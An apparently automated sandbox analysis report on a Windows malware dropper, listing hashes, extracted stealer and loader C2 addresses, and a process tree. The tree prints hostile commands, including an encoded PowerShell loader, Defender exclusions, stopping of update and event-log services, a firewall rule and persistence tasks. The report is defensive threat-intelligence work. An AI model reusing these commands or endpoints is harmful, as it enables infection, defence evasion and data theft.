Analysis
-
max time kernel
74s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
14-05-2024 20:45
General
-
Target
a2b1d5318495caa8dfaa18d6af6a999b5f17fb8777c049fc221af614c49dc843.exe
-
Size
1.6MB
-
MD5
49d0c80c22b94e1553696070e54ac1e2
-
SHA1
7339729015cc3df778b0b1bbf3910e5db299f5a1
-
SHA256
a2b1d5318495caa8dfaa18d6af6a999b5f17fb8777c049fc221af614c49dc843
-
SHA512
ffd657915e947e7c99c2c5203cbf03a50e3d5aadbaabd7e5173635b533a7f87707477e4f2d4db38c1e4b4e522cb0de5f9f23fee0e2a86fa2ea4e6a38aa8fdd07
-
SSDEEP
49152:TanuwqwnNW952C2CJqrWOUjgANn7FgkhaISs+:WA0Np7+qaOs9JgRi+
Malware Config
Extracted
amadey
4.20
http://5.42.96.141
http://5.42.96.7
-
install_dir
908f070dff
-
install_file
explorku.exe
-
strings_key
b25a9385246248a95c600f9a061438e1
-
url_paths
/go34ko8/index.php
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
1
185.215.113.67:26260
Extracted
stealc
http://49.13.229.86
-
url_path
/c73eed764cc59dcb.php
Extracted
risepro
147.45.47.126:58709
Extracted
gcleaner
185.172.128.90
5.42.64.56
5.42.65.64
Extracted
lumma
https://zippyfinickysofwps.shop/api
https://acceptabledcooeprs.shop/api
https://obsceneclassyjuwks.shop/api
https://miniaturefinerninewjs.shop/api
https://plaintediousidowsko.shop/api
https://sweetsquarediaslw.shop/api
https://holicisticscrarws.shop/api
https://boredimperissvieos.shop/api
https://smallelementyjdui.shop/api
https://sofaprivateawarderysj.shop/api
https://lineagelasserytailsd.shop/api
https://tendencyportionjsuk.shop/api
https://headraisepresidensu.shop/api
https://appetitesallooonsj.shop/api
https://minorittyeffeoos.shop/api
https://prideconstituiiosjk.shop/api
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detect ZGRat V1 3 IoCs
-
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
-
Lumma Stealer
An infostealer written in C++ first seen in August 2022.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
Stealc
Stealc is an infostealer written in C++.
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs
Using powershell.exe command.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Stops running service(s) 4 TTPs
-
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 28 IoCs
-
Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 46 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 4 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
Drops file in Program Files directory 14 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 24 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 26 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 1 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 32 IoCs
-
Suspicious use of AdjustPrivilegeToken 10 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a2b1d5318495caa8dfaa18d6af6a999b5f17fb8777c049fc221af614c49dc843.exe"C:\Users\Admin\AppData\Local\Temp\a2b1d5318495caa8dfaa18d6af6a999b5f17fb8777c049fc221af614c49dc843.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 38⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 3326⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClient7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClient confirm7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLink7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLink confirm7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLink7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClientC7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClientC confirm7⤵
-
C:\Windows\SysWOW64\sc.exeSc delete PiercingNetLink7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove PiercingNetLink confirm7⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"7⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start PiercingNetLink7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLinks7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLinks confirm7⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"7⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLinks7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000258001\dl.exe"C:\Users\Admin\AppData\Local\Temp\1000258001\dl.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 4527⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 6927⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 7087⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 7847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 8087⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 8167⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 9927⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 8207⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 13247⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "dl.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000258001\dl.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "dl.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe"6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2908 -s 4607⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 21089⤵
- Program crash
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "1216" "2136" "2108" "2144" "0" "0" "2148" "0" "0" "0" "0" "0"10⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F9⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe"6⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart7⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart8⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc7⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 07⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"7⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABFAEMALAAgADAAeAA2AEYALAAgADAAeAAzADYALAAgADAAeAAwAEUALAAgADAAeAAyAEMALAAgADAAeAA0ADYALAAgADAAeAAwADMALAAgADAAeAA4AEMALAAgADAAeABCADUALAAgADAAeABGAEYALAAgADAAeAAxADAALAAgADAAeABBADUALAAgADAAeAAyADUALAAgADAAeAA4AEIALAAgADAAeAAxAEIALAAgADAAeAA3ADkALAAgADAAeABCAEMALAAgADAAeABBADUALAAgADAAeAAzADkALAAgADAAeAA0ADgALAAgADAAeABFADIALAAgADAAeAA2ADIALAAgADAAeAA4ADUALAAgADAAeAAyADgALAAgADAAeAAzADcALAAgADAAeABCAEYALAAgADAAeAA0ADEALAAgADAAeABBAEQALAAgADAAeAAxADgALAAgADAAeAAxADYALAAgADAAeAA5AEMALAAgADAAeAAwAEQAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADUARgAsACAAMAB4AEYAQwAsACAAMAB4ADgAQwAsACAAMAB4ADcAQwAsACAAMAB4ADMAOQAsACAAMAB4ADcANQAsACAAMAB4ADAAOQAsACAAMAB4AEYAQwAsACAAMAB4AEIAOQAsACAAMAB4ADcAMQAsACAAMAB4AEYAQwAsACAAMAB4AEUAQgAsACAAMAB4ADQAQQAsACAAMAB4AEUARQAsACAAMAB4AEIARgAsACAAMAB4ADcANgApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"7⤵
-
C:\Users\Admin\Pictures\vcr4HistXQ0Q7BD96MiZUW13.exe"C:\Users\Admin\Pictures\vcr4HistXQ0Q7BD96MiZUW13.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 4609⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 5129⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 7569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 7649⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 8129⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 7569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 7969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 10049⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 10569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 13649⤵
- Program crash
-
C:\Users\Admin\Pictures\oCaQCCC56HKzRHILmbHEoOU4.exe"C:\Users\Admin\Pictures\oCaQCCC56HKzRHILmbHEoOU4.exe"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5392 -s 209610⤵
- Program crash
-
C:\Users\Admin\Pictures\oCaQCCC56HKzRHILmbHEoOU4.exe"C:\Users\Admin\Pictures\oCaQCCC56HKzRHILmbHEoOU4.exe"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "672" "2148" "2120" "2156" "0" "0" "2160" "0" "0" "0" "0" "0"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\9up018RXXVrq2oTB4C2PtpKX.exe"C:\Users\Admin\Pictures\9up018RXXVrq2oTB4C2PtpKX.exe"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\9up018RXXVrq2oTB4C2PtpKX.exe"C:\Users\Admin\Pictures\9up018RXXVrq2oTB4C2PtpKX.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6084 -s 35210⤵
- Program crash
-
C:\Users\Admin\Pictures\FjSf0RArQ4aL0V3KJiKM6dxy.exe"C:\Users\Admin\Pictures\FjSf0RArQ4aL0V3KJiKM6dxy.exe"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
